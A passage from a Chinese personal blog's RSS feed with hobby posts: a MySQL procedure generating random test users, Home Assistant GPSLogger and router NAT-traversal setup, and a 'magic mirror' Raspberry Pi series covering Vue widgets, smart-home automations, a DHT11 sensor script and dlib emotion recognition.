        substring('明国华建文平志伟东海强晓生光林小民永杰军金健一忠洪江福祥中正振勇耀春大宁亮宇兴宝少剑云学仁涛瑞飞鹏安亚泽世汉达卫利胜敏群波成荣新峰刚家龙德庆斌辉良玉俊立浩天宏子松克清长嘉红山贤阳乐锋智青跃元武广思雄锦威启昌铭维义宗英凯鸿森超坚旭政传康继翔栋仲权奇礼楠炜友年震鑫雷兵万星骏伦绍麟雨行才希彦兆贵源有景升惠臣慧开章润高佳虎根远力进泉茂毅富博霖顺信凡豪树和恩向道川彬柏磊敬书鸣芳培全炳基冠晖京欣廷哲保秋君劲轩帆若连勋祖锡吉崇钧田石奕发洲彪钢运伯满庭申湘皓承梓雪孟其潮冰怀鲁裕翰征谦航士尧标洁城寿枫革纯风化逸腾岳银鹤琳显焕来心凤睿勤延凌昊西羽百捷定琦圣佩麒虹如靖日咏会久昕黎桂玮燕可越彤雁孝宪萌颖艺夏桐月瑜沛诚夫声冬奎扬双坤镇楚水铁喜之迪泰方同滨邦先聪朝善非恒晋汝丹为晨乃秀岩辰洋然厚灿卓杨钰兰怡灵淇美琪亦晶舒菁真涵爽雅爱依静棋宜男蔚芝菲露娜珊雯淑曼萍珠诗璇琴素梅玲蕾艳紫珍丽仪梦倩伊茜妍碧芬儿岚婷菊妮媛莲娟一',
        floor(1+400*rand()),
        1),
        substring('明国华建文平志伟东海强晓生光林小民永杰军金健一忠洪江福祥中正振勇耀春大宁亮宇兴宝少剑云学仁涛瑞飞鹏安亚泽世汉达卫利胜敏群波成荣新峰刚家龙德庆斌辉良玉俊立浩天宏子松克清长嘉红山贤阳乐锋智青跃元武广思雄锦威启昌铭维义宗英凯鸿森超坚旭政传康继翔栋仲权奇礼楠炜友年震鑫雷兵万星骏伦绍麟雨行才希彦兆贵源有景升惠臣慧开章润高佳虎根远力进泉茂毅富博霖顺信凡豪树和恩向道川彬柏磊敬书鸣芳培全炳基冠晖京欣廷哲保秋君劲轩帆若连勋祖锡吉崇钧田石奕发洲彪钢运伯满庭申湘皓承梓雪孟其潮冰怀鲁裕翰征谦航士尧标洁城寿枫革纯风化逸腾岳银鹤琳显焕来心凤睿勤延凌昊西羽百捷定琦圣佩麒虹如靖日咏会久昕黎桂玮燕可越彤雁孝宪萌颖艺夏桐月瑜沛诚夫声冬奎扬双坤镇楚水铁喜之迪泰方同滨邦先聪朝善非恒晋汝丹为晨乃秀岩辰洋然厚灿卓杨钰兰怡灵淇美琪亦晶舒菁真涵爽雅爱依静棋宜男蔚芝菲露娜珊雯淑曼萍珠诗璇琴素梅玲蕾艳紫珍丽仪梦倩伊茜妍碧芬儿岚婷菊妮媛莲娟一',
        floor(1+400*rand())
        ,1)
    );
    -- 赋值(手机号码)
    SET mobile = concat('1',substring(cast(3 + (rand() * 10) % 7 AS char(50)), 1, 1), right(left(trim(cast(rand() AS char(50))), 11), 9));
    -- 赋值(性别：1-男、2-女、3-其他)
    SET gender = round(rand()*(3-1)+1);
    -- 赋值(用户微信号)[6-20位数字或字母]
    SET wechat_id = SUBSTRING(REPLACE(UUID(),'-',''),1,round(rand()*(20-6)+6));
    -- 赋值(微信OpenID)[28位数字或字母]
    SET wechat_openid = SUBSTRING(REPLACE(UUID(),'-',''),1,28);
    -- 赋值(微信OpenID)[28位数字或字母]
    SET wechat_unionid = SUBSTRING(REPLACE(UUID(),'-',''),1,28);
    -- 赋值(用户头像)
    SET avatar = &amp;quot;goods/00e2df50f4824b6995f432d041777a72.jpg&amp;quot;;
    -- 赋值(注册时间)(2020-3-1向后60天)
    SET register_time = DATE_ADD('2020-3-1 00:00:00', INTERVAL FLOOR(1 + (RAND() * 60*60*24*30*2)) SECOND);
    -- 赋值(注册IP地址)
    SET register_ip = concat(round(rand()*(254-0)+0),'.',round(rand()*(254-0)+0),'.',round(rand()*(254-0)+0),'.',round(rand()*(254-0)+0));
    -- 赋值(生日)(1960-1-1向后80年)
    SET birthday = DATE_ADD('1960-1-1 00:00:00', INTERVAL FLOOR(1 + (RAND() * 60*60*24*30*12*80)) SECOND);
    -- 赋值(登录时间)(2020-5-2向后10天)
    SET login_time = DATE_ADD('2020-5-2 00:00:00', INTERVAL FLOOR(1 + (RAND() * 60*60*24*10)) SECOND);
    INSERT INTO shop_user(id,parent_user_id,nickname,mobile,gender,wechat_id,wechat_openid,wechat_unionid,avatar,register_time,register_ip,birthday,login_time)VALUES (user_id,parent_user_id,nickname,mobile,gender,wechat_id,wechat_openid,wechat_unionid,avatar,register_time,register_ip,birthday,login_time);
END WHILE;
-- commit; -- 待循环完毕后再进行提交，即整体提交整体的 sql，这样可以提高效率，否则循环里会一次一次的去提交sql,数据多了会很慢。
END//
delimiter ;
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 25 Aug 2020 15:23:18 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/81.html</comments>
    </item>
    <item>
      <title>【Home Assistant】使用GPSLogger记录位置</title>
      <link>https://www.baby7blog.com/myBlog/80.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FlIVgZW8LOuAB32QAIhCygaZ6tY_" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【Home Assistant】使用GPSLogger记录位置&lt;/h1&gt;

&lt;h4&gt;我用的hass版本是0.111.4，对于GPSLogger有相关&lt;a href="https://www.home-assistant.io/integrations/gpslogger"&gt;说明&lt;/a&gt;，也可以跳过不看&lt;/h4&gt;
&lt;p&gt;启动Hass，点击配置-&amp;gt;集成-&amp;gt;右下角添加&lt;/p&gt;
&lt;p&gt;找到GPSLogger，添加，记录下提供的一串代码&lt;/p&gt;
&lt;p&gt;下载GPSLogger应用：打开 &lt;a href="https://github.com/mendhak/gpslogger/releases"&gt;https://github.com/mendhak/gpslogger/releases&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;找到最新的apk下载安装到手机（我安装的时候是106版本）&lt;/p&gt;
&lt;p&gt;打开应用，&lt;/p&gt;
&lt;p&gt;点击左上角-&amp;gt;常规选项-&amp;gt;打开开机自启动和在应用程序启动时启动-&amp;gt;返回-&amp;gt;记录细节-&amp;gt;记录到自定义URL&lt;/p&gt;
&lt;p&gt;url:&lt;/p&gt;

&lt;p&gt;http://（这里填外网地址）/api/webhook/（这里填前面拿到的代码）&lt;/p&gt;

&lt;p&gt;HTTP内容：&lt;/p&gt;

&lt;p&gt;latitude=%LAT&amp;amp;longitude=%LON&amp;amp;device=%SER&amp;amp;accuracy=%ACC&amp;amp;battery=%BATT&amp;amp;speed=%SPD&amp;amp;direction=%DIR&amp;amp;altitude=%ALT&amp;amp;provider=%PROV&amp;amp;activity=%ACT&lt;/p&gt;

&lt;p&gt;HTTP头：&lt;/p&gt;

&lt;p&gt;Content-Type: application/x-www-form-urlencoded&lt;/p&gt;

&lt;p&gt;HTTP方法：&lt;/p&gt;

&lt;p&gt;POST&lt;/p&gt;

&lt;p&gt;Base Authenication：
填你的hass的用户名密码&lt;/p&gt;
&lt;p&gt;填完退出，这时候Home Assistant应该就会增加一个实体，就成功了&lt;/p&gt;
&lt;h4&gt;这里讲一下hass的ip就是你安装的主机ip，端口一般是8123，GPSLogger需要外网访问，没有公网IP的话，一般需要做内网穿透，这里可以参考我写的另一篇博客&lt;a href="https://www.baby7blog.com/myBlog/79.html"&gt;荣耀路由器Pro2的内网穿透方案&lt;/a&gt;&lt;/h4&gt;</description>
      <category>魔镜</category>
      <pubDate>Fri, 03 Jul 2020 15:31:11 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/80.html</comments>
    </item>
    <item>
      <title>荣耀路由器Pro2内网穿透步骤（花生壳）</title>
      <link>https://www.baby7blog.com/myBlog/79.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FguRlZkjxqV3XgB5GmOlMGhnm2sG" width="800"&gt;&lt;br&gt;
&lt;h1&gt;荣耀路由器Pro2内网穿透步骤（花生壳）&lt;/h1&gt;

&lt;h4&gt;提前说一下，虽然可以一直使用，但是需要花六块钱，还要实名认证&lt;/h4&gt;
&lt;p&gt;由于我的HomeAssistant需要做一个公网访问，所以想到了对路由器做内网穿透，中间踩了点坑，下面分享一下步骤&lt;/p&gt;
&lt;p&gt;在手机上下载“智慧生活”和“花生壳管理”两个APP，不过有这款路由器的人应该都下载了“智慧生活”APP&lt;/p&gt;
&lt;p&gt;打开“智慧生活”APP，没有添加路由器的点击右上角添加你的路由器设备，点开路由设备，下拉有个服务推荐，点击下面的“＋”，找到极客工具-&amp;gt;花生壳，然后下载安装&lt;/p&gt;
&lt;p&gt;退到路由器界面点击花生壳插件，这时候有个账号登录页面，会默认提供一个账号名，一般应该是HWRY开头的，默认密码admin，登录进去初始化一下，然后准备使实名认证&lt;/p&gt;
&lt;h4&gt;！！！这里有要注意的，必须用它默认给你的账号，如果你以前有花生壳账号也不要用&lt;/h4&gt;
&lt;p&gt;然后点开“花生壳管理”APP，点击我的，点击实名认证，如果你有认证过的账号，也可以给它权限，具体的话应用里都有提示&lt;/p&gt;
&lt;p&gt;实名认证后打开“智慧生活”里的花生壳插件，点击管理-&amp;gt;内网穿透-&amp;gt;添加映射，具体的你想怎么映射就自己选择吧&lt;/p&gt;</description>
      <category>服务器相关</category>
      <pubDate>Thu, 02 Jul 2020 05:44:52 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/79.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】节假日信息</title>
      <link>https://www.baby7blog.com/myBlog/78.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fns2ojEAsdQABiOYUsscPOQqLksf" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】节假日信息&lt;/h1&gt;

&lt;h3&gt;格式&lt;/h3&gt;
&lt;p&gt;存储在数据库中，包含日期、名字、所属节假日、休息天数、是否为节假日、是否为向前调休等字段&lt;/p&gt;
&lt;h3&gt;显示&lt;/h3&gt;
&lt;p&gt;封装成了个Vue插件，调用后端获取节假日信息然后显示到列表中，具体代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Vue"&gt;&amp;lt;template&amp;gt;
    &amp;lt;div&amp;gt;
        &amp;lt;div style=&amp;quot;border:1px solid #FFFFFF;width: 310px;margin-left: 0;margin-bottom: 5px&amp;quot;/&amp;gt;
        &amp;lt;ul v-for=&amp;quot;(timor,index) in timorList&amp;quot; :key=&amp;quot;timor&amp;quot; style=&amp;quot;width: 310px;margin-left: 0;padding-left: 0px&amp;quot;&amp;gt;
            &amp;lt;li v-if=&amp;quot;index &amp;lt; 12&amp;quot; style=&amp;quot;font-family:'BebasNeueRegular',Arial,Helvetica,sans-serif;text-shadow: 0 0 5px #00c6ff;color: #fff;font-size: 23px;&amp;quot;&amp;gt;
                &amp;lt;span&amp;gt;{{timor.name}}&amp;lt;/span&amp;gt;
                &amp;lt;span style=&amp;quot;float: right&amp;quot;&amp;gt;{{timor.date}}&amp;lt;/span&amp;gt;
            &amp;lt;/li&amp;gt;
            &amp;lt;div v-if=&amp;quot;index &amp;lt;11&amp;quot; style=&amp;quot;border:0.5px dashed #666666;width: 100%;&amp;quot;/&amp;gt;
        &amp;lt;/ul&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
    import { getList } from '@/api/timor'

    export default {
        name: &amp;quot;Timor&amp;quot;,
        data() {
            return {
                timorList: [],
                query: {
                    current:1,
                    size:20
                }
            }
        },
        methods:{
            getData(){
                getList(this.query).then(res =&amp;gt; {
                    // this.timorList = res.holiday;
                    if(res.code === 0){
                        for(let holiday in res.data.records){
                            let timor = {
                                name:res.data.records[holiday].name,
                                date:res.data.records[holiday].date.substring(0, 10)
                            };
                            this.timorList.push(timor)
                        }
                    }
                });
            }
        },
        mounted() {
            this.getData();
        }
    }
&amp;lt;/script&amp;gt;

&amp;lt;style scoped&amp;gt;
    li {
        list-style-position: inside;
        list-style-image: url('/icon.png');
    }
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;未来版本&lt;/h3&gt;
&lt;p&gt;我来手动更新节假日信息显然不太可能，我可没那些时间，有个免费获取节假日信息的API，后续会接入，网址如下：&lt;a href="http://timor.tech/api/holiday/"&gt;提莫的神秘商店&lt;/a&gt;&lt;/p&gt;</description>
      <category>魔镜</category>
      <pubDate>Mon, 29 Jun 2020 06:39:29 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/78.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】智能家居控制</title>
      <link>https://www.baby7blog.com/myBlog/77.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FoCGeeXhKnmWDLCUMO7s2H6QkUA5" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】智能家居控制&lt;/h1&gt;

&lt;h3&gt;开源的Home Assistant家居控制系统&lt;/h3&gt;
&lt;p&gt;Home Assistant(hass)是一个开源的基于Python的智能家居控制系统，可以连接很多品牌的智能家居并且控制，并且相对于那些品牌的智能家居有更多的自由和控制性。&lt;/p&gt;
&lt;h3&gt;魔镜和Home Assistant之间的通信&lt;/h3&gt;
&lt;p&gt;Home Assistant有完整的Rest API，&lt;a href="https://developers.home-assistant.io/docs/api/rest"&gt;点击这里进入&lt;/a&gt;，魔镜系统通过Rest格式的http与hass进行通信
使用这些API需要有权限，就是header要带一个token，可以在你的hass中获取长期的token（长期访问令牌），该令牌有十年有效期，token格式见上述网址&lt;/p&gt;
&lt;h3&gt;我的智能场景（自动化）&lt;/h3&gt;

&lt;h4&gt;回家和离家&lt;/h4&gt;

&lt;p&gt;我的智能家居设备都会连接到路由器，手机也会连接到路由器，因为每次连接到路由器这些设备的的IP都不会改变，通过ping或者hass的nmap_tracker插件可以判断这些设备在不在线，因为我的手机常年保持WIFI开启状态，回家会自动连接，离家也会因为距离断开，可以通过这个判断我是否在家（5秒钟判断一次，20秒没连上就判断为离家状态）
如果回家：播放欢迎回家语音并且打开顶灯然后打开魔镜系统
如果离家：关闭所有设备且关闭魔镜系统
关于魔镜系统的打开关闭是因为开启状态会占用快一半的3b+的cpu，比较费电，并且打开屏幕也会费电&lt;/p&gt;

&lt;h4&gt;日出和日落&lt;/h4&gt;

&lt;p&gt;hass自带一个日出日落的状态，初始化时会判断你的位置，通过这个取得日出日落时间
日出：关闭顶灯
日落：开启顶灯，因为我住的地方比较阴，所以设置了偏移量提前日落四十分钟执行&lt;/p&gt;

&lt;h4&gt;睡觉动作&lt;/h4&gt;

&lt;p&gt;我十二点准时睡觉，零点准时触发会关闭大灯且关闭魔镜系统&lt;/p&gt;

&lt;h4&gt;温湿度固定值提示&lt;/h4&gt;

&lt;p&gt;在温度为30和湿度90会提示“当前温湿度多少多少，求求你开开除湿机/空调吧”
其实可以做到直接控制空调和除湿机，但是我不想太强制就只做了提示&lt;/p&gt;
&lt;h3&gt;我连接的设备&lt;/h3&gt;

&lt;h4&gt;米家开关&lt;/h4&gt;

&lt;p&gt;连接了两个，一个控制热水器，一个控制魔镜的屏幕开关
热水器：睡觉前把热水器的烧水按钮打开但是不打开米家开关，早上躺在床上说一句“魔镜魔镜，打开热水器”就可以在床上滩一会儿，然后起来后喝热水
屏幕开关：现在是控制树莓派的屏幕开关，我用剪刀测试发现通过短接两个点可以实现屏幕的开关，后续会研究研究可不可以用GPIO实现控制屏幕开关，然后把这个腾给台灯用&lt;/p&gt;

&lt;h4&gt;米家空调伴侣&lt;/h4&gt;

&lt;p&gt;有个空调伴侣的插件：&lt;a href="https://github.com/syssi/xiaomi_airconditioningcompanion"&gt;源码地址&lt;/a&gt;，但是不支持我这个版本，所以现在以开关形式控制空调&lt;/p&gt;

&lt;h4&gt;飞利浦智能灯泡&lt;/h4&gt;

&lt;p&gt;可以调节亮度和色温，我用hass调用后发现关灯状态下需要调用两次，开灯状态下调用一次API，然后范围是：亮度[1-100]，色温[175-333]&lt;/p&gt;

&lt;h3&gt;米家万能遥控器&lt;/h3&gt;

&lt;p&gt;通过xiaomi_miio.remote_learn_command学习红外码，然后使用remote.send_command发送红外码，我可以通过hass控制电视、机顶盒、风扇这些，空调的红外码可以学习但是发射没反应不知道为什么，通过米家APP发射的可以使用&lt;/p&gt;
&lt;h3&gt;如何接入米家设备&lt;/h3&gt;
&lt;p&gt;hass接入米家设备需要取得token，米家APP的5.4.54版本有个bug，会在日志文件中打印token等信息，在手机SmartHome/logs/Plug_Devicemanager/日期/路径中找到日志文件打开可以找到json格式的数据，其中包含token、host等信息&lt;/p&gt;</description>
      <category>魔镜</category>
      <pubDate>Mon, 29 Jun 2020 06:27:41 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/77.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】DHT11传感器温湿度的获取与显示</title>
      <link>https://www.baby7blog.com/myBlog/76.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fhh6_JPg6lgPmumpRTloDcZAL-n9" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】DHT11传感器温湿度的获取与显示&lt;/h1&gt;

&lt;h3&gt;通过DHT11获取温湿度信息&lt;/h3&gt;
&lt;p&gt;这里有我参考别人修改的获取温湿度的py文件&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;#!/usr/bin/python3
import RPi.GPIO as GPIO
import time


channel = 17     # 设置树莓派端口号(BCM编码)
j = 0           # 初始化计数器为0
data = []       # 初始化数据存储数组


# 初始化
def initialize():
    global channel
    GPIO.setmode(GPIO.BCM)                      # 设置gpio引脚编号模式，有两种编号模式可供选择，自己随意设置就好
    time.sleep(1)                               # 程序暂停一秒钟
    GPIO.setup(channel, GPIO.OUT)               # 设置6号口为输出模式
    GPIO.output(channel, GPIO.LOW)              # 6号口输出低电平，即发送触发信号
    time.sleep(0.02)                            # 低电平维持0.02秒
    GPIO.output(channel, GPIO.HIGH)             # 输出高电平，标志低电平结束
    GPIO.setup(channel, GPIO.IN)                # 设置端口模式为输入
    while GPIO.input(channel) is GPIO.LOW:      # 跳过初始状态的低电平
        pass
    while GPIO.input(channel) is GPIO.HIGH:     # 跳过初始状态的高电平
        pass


# 获取数据
def get_data():
    global j, data, channel
    # 进入循环
    while j &amp;lt; 40:                               # 仅仅存储40个数据
        k = 0
        while GPIO.input(channel) is GPIO.LOW:  # 跳过低电平
            continue

        while GPIO.input(channel) is GPIO.HIGH:  # 如果是高电平，则进入循环，高电平结束时停止
            k += 1                              # 计数器自增
            if k &amp;gt; 100:                         # 如果高电平计数器大于100，则跳出循环，数据错误
                break
        if k &amp;lt; 8:                               # 如果计数器数值小于8次，则认为值为0
            data.append(0)
        else:                                   # 否则认为值为1
            data.append(1)
        j += 1                                  # 数据位数计数器加一


# 数据处理
def data_processing():
    global data
    # 按位切割数据
    humidity_bit = data[0:8]
    humidity_point_bit = data[8:16]
    temperature_bit = data[16:24]
    temperature_point_bit = data[24:32]
    check_bit = data[32:40]

    humidity = 0
    humidity_point = 0
    temperature = 0
    temperature_point = 0
    check = 0
    # 计算各个数据结果和校验值
    for i in range(8):
        humidity += humidity_bit[i] * 2 ** (7 - i)
        humidity_point += humidity_point_bit[i] * 2 ** (7 - i)
        temperature += temperature_bit[i] * 2 ** (7 - i)
        temperature_point += temperature_point_bit[i] * 2 ** (7 - i)
        check += check_bit[i] * 2 ** (7 - i)
    # 计算检查值
    tmp = humidity + humidity_point + temperature + temperature_point
    return temperature, humidity, check, tmp


# 获取温湿度数据
def get_temperature_humidity(setting_channel):
    global channel
    channel = setting_channel
    initialize()
    get_data()
    temperature, humidity, check, tmp = data_processing()
    GPIO.cleanup()
    return temperature, humidity, check, tmp    # 温度、湿度、校验值、检查值
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用时直接调用get_temperature_humidity并传入树莓派端口号（引脚）即可&lt;/p&gt;
&lt;h3&gt;新版本获取温湿度信息&lt;/h3&gt;
&lt;p&gt;Home Assistant有个获取DHT传感器信息的插件，配置如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-config"&gt;sensor:
  platform: dht
  sensor: DHT11
  pin: 17
  monitored_conditions:
    - temperature
    - humidity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;引脚为17号，然后GET&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-url"&gt;http://树莓派ip地址:8123/api/states/sensor.dht_sensor_humidity
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并加上Bearer形式的token即可获取到湿度信息，温度同理&lt;/p&gt;
&lt;h3&gt;显示到屏幕上&lt;/h3&gt;
&lt;p&gt;环境进程通过Queue队列发送数据，显示进程获取到数据再通过selenium执行javascript语句显示到屏幕上，其中温湿度的显示是使用两个ECharts表盘显示的，我封装成了个Vue插件：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Vue"&gt;&amp;lt;template&amp;gt;
    &amp;lt;div class=&amp;quot;sensor_line&amp;quot; style=&amp;quot;margin-top: 50px;&amp;quot;&amp;gt;
        &amp;lt;div id=&amp;quot;chart&amp;quot; class=&amp;quot;sensor_meter&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
        &amp;lt;span id=&amp;quot;hide_temp&amp;quot; style=&amp;quot;display:none&amp;quot;&amp;gt;0&amp;lt;/span&amp;gt;
        &amp;lt;span id=&amp;quot;hide_humidity&amp;quot; style=&amp;quot;display:none&amp;quot;&amp;gt;0&amp;lt;/span&amp;gt;
    &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;
&amp;lt;script&amp;gt;
    export default {
        name: &amp;quot;Sensor&amp;quot;,
        data() {
            return {
                temp: 0,
                humidity: 0
            }
        },
        mounted() {
            this.init();
            setInterval(this.refresh_data, 3000);
        },
        methods:{
            init(){
                var chart = this.$echarts.init(document.getElementById(&amp;quot;chart&amp;quot;));
                var option = {
                    title: {
                        text: '温度                            湿度',
                        x: 'center',
                        textStyle: {
                            color: '#fff',
                            fontSize: 24
                        }
                    },
                    grid: {
                        x: 20,
                        y: 30,
                        x2: 20,
                        y2: 10,
                    },
                    series: [{
                        name: '温度',
                        type: 'gauge',
                        center: ['25%', '50%'],
                        min: 0,
                        max: 60,
                        splitNumber: 8,
                        axisLine: {
                            lineStyle: {
                                color: [
                                    [12 / 400, '#668888'],
                                    [35.4 / 400, '#888888'],
                                    [55.4 / 400, '#aa8888'],
                                    [150.4 / 400, '#cc8888'],
                                    [250.4 / 400, '#dd8888'],
                                    [400 / 400, '#ff8888']
                                ],
                                width: 3,
                            }
                        },
                        axisLabel: {
                            show: false,
                        },
                        detail: {
                            formatter: '{value}℃',
                            offsetCenter: [0, '60%'],
                        },
                        data: [{
                            value: this.temp
                        }]
                    },{
                        name: '湿度',
                        type: 'gauge',
                        center: ['75%', '50%'],
                        min: 0,
                        max: 100,
                        splitNumber: 8,
                        axisLine: {
                            lineStyle: {
                                color: [
                                    [12 / 400, '#668888'],
                                    [35.4 / 400, '#888888'],
                                    [55.4 / 400, '#aa8888'],
                                    [150.4 / 400, '#cc8888'],
                                    [250.4 / 400, '#dd8888'],
                                    [400 / 400, '#ff8888']
                                ],
                                width: 3,
                            }
                        },
                        axisLabel: {
                            show: false,
                        },
                        detail: {
                            formatter: '{value}%',
                            offsetCenter: [0, '60%'],
                        },
                        data: [{
                            value: this.humidity
                        }]
                    }]
                };
                chart.setOption(option);
            },
            refresh_data(){
                this.temp = document.getElementById(&amp;quot;hide_temp&amp;quot;).innerText;
                this.humidity = document.getElementById(&amp;quot;hide_humidity&amp;quot;).innerText;
                this.init();
            }
        }
    }
&amp;lt;/script&amp;gt;
&amp;lt;style scoped&amp;gt;
    .sensor_meter {
        width:500px;
        height:250px;
    }
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>魔镜</category>
      <pubDate>Mon, 29 Jun 2020 05:26:15 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/76.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】基于dlib的情绪识别</title>
      <link>https://www.baby7blog.com/myBlog/75.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fr5Q6TUtx_QEk_FuENuWkn3ErXDT" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】基于dlib的情绪识别&lt;/h1&gt;

&lt;h3&gt;原理&lt;/h3&gt;
&lt;p&gt;首先dlib库进行人脸识别与特征标定获得人脸对应的68个特征点，然后通过嘴巴张开距离占面部识别框宽度的比例、眉毛上扬程度、眯眼睛程度对用户情绪进行判定
参考：&lt;a href="https://www.cnblogs.com/qsyll0916/p/8893790.html"&gt;python3+dlib人脸识别及情绪分析&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;class EmotionRecognition:
    def __init__(self):
        self.detector = dlib.get_frontal_face_detector()            # 使用特征提取器get_frontal_face_detector
        self.predictor = dlib.shape_predictor(DATA_PATH)            # dlib的68点模型，使用训练好的特征预测器

    def learning_face(self, path):
        im_read = cv2.imread(path, 1)
        face_list = self.detector(cv2.cvtColor(im_read, cv2.COLOR_RGB2GRAY), 0)   # 对灰度图像使用检测器检测
        if len(face_list) != 0:                                     # 检测器检测到人脸
            for i in range(len(face_list)):                         # 获取68个特征点
                for k, d in enumerate(face_list):                   # 获取索引和数据，k为索引，d为对象
                    box_width = d.right() - d.left()                # 计算人脸框边长
                    appear = self.predictor(im_read, d)             # 获取68个特征点坐标
                    mouth_higth = (appear.part(66).y - appear.part(62).y) / box_width
                    # 眉毛直线拟合列表
                    brow_x = []
                    brow_y = []
                    for j in range(17, 21):
                        brow_x.append(appear.part(j).x)
                        brow_y.append(appear.part(j).y)
                    z1 = np.polyfit(np.array(brow_x), np.array(brow_y), 1)
                    brow_k = -round(z1[0], 3)                       # 拟合成一条直线
                    eye_hight = ((appear.part(41).y - appear.part(37).y + appear.part(40).y - appear.part(38).y +
                               appear.part(47).y - appear.part(43).y + appear.part(46).y - appear.part(44).y)
                                 / 4) / box_width                   # 获取眼睛睁开大小
                    upload_qiniu(path)                              # 上传至图床
                    if round(mouth_higth &amp;gt;= 0.03):
                        if eye_hight &amp;gt;= 0.056:
                            send_face_data_save(path, &amp;quot;3&amp;quot;)          # 惊讶
                            return json.dumps({&amp;quot;state&amp;quot;: &amp;quot;success&amp;quot;, &amp;quot;result&amp;quot;: &amp;quot;amazing&amp;quot;})
                        else:
                            send_face_data_save(path, &amp;quot;4&amp;quot;)          # 开心
                            return json.dumps({&amp;quot;state&amp;quot;: &amp;quot;success&amp;quot;, &amp;quot;result&amp;quot;: &amp;quot;happy&amp;quot;})
                    else:
                        if brow_k &amp;lt;= -0.3:
                            send_face_data_save(path, &amp;quot;1&amp;quot;)          # 生气
                            return json.dumps({&amp;quot;state&amp;quot;: &amp;quot;success&amp;quot;, &amp;quot;result&amp;quot;: &amp;quot;angry&amp;quot;})
                        else:
                            send_face_data_save(path, &amp;quot;2&amp;quot;)          # 正常
                            return json.dumps({&amp;quot;state&amp;quot;: &amp;quot;success&amp;quot;, &amp;quot;result&amp;quot;: &amp;quot;nature&amp;quot;})
                break                                               # 只识别一张人脸
        return json.dumps({&amp;quot;state&amp;quot;: &amp;quot;error&amp;quot;, &amp;quot;result&amp;quot;: &amp;quot;no face&amp;quot;})  # 未识别到人脸
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>魔镜</category>
      <pubDate>Thu, 18 Jun 2020 13:19:48 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/75.html</comments>
    </item>
    <item>
      <title>【“魔镜”系列】天气信息的显示</title>
      <link>https://www.baby7blog.com/myBlog/74.html</link>
      <description>&lt;img src="https://media.baby7blog.com/Fm5zywKHBGmtRuQZAg8N0PohDYpG" width="800"&gt;&lt;br&gt;
&lt;h1&gt;【“魔镜”系列】天气信息的显示&lt;/h1&gt;

&lt;h3&gt;来源&lt;/h3&gt;
&lt;p&gt;中国天气网有定制的插件，有非常多的选择，这里放一下网址：&lt;a href="https://cj.weather.com.cn/plugin/pc/view"&gt;天气插件&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;p&gt;但是我用的Vue做基础，所以将这个插件改为了Vue版的（但是还是需要在上面的网址生成）&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-Vue"&gt;&amp;lt;template&amp;gt;
    &amp;lt;div id=&amp;quot;weather-view-he&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
    export default {
        name: &amp;quot;Weather&amp;quot;,
        created() {
            const WIDGET = document.createElement('script');
            WIDGET.text = &amp;quot;WIDGET = {ID: 'RejMJQqNQR'}&amp;quot;;
            document.body.appendChild(WIDGET);
            const s = document.createElement('script');
            s.type = 'text/javascript';
            s.src = 'https://apip.weatherdt.com/view/static/js/r.js?v=1111';
            document.body.appendChild(s);
        },
        mounted() {
            var id = setInterval(() =&amp;gt; {
                if(document.getElementById(&amp;quot;weather-view-he&amp;quot;).style.cssText
                    === &amp;quot;background-color:#000;width:500px;height:250px;font-size: 16px;&amp;quot;){
                    clearInterval(id)
                }
                document.getElementById(&amp;quot;weather-view-he&amp;quot;).style.cssText
                    = &amp;quot;background-color:#000;width:500px;height:250px;font-size: 16px;&amp;quot;
            },500)
        }
    }
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里多了mounted()函数，因为生成的插件虽然有深色版，但是黑的不够彻底，需要做一下样式调整，其中还包括大小和字体
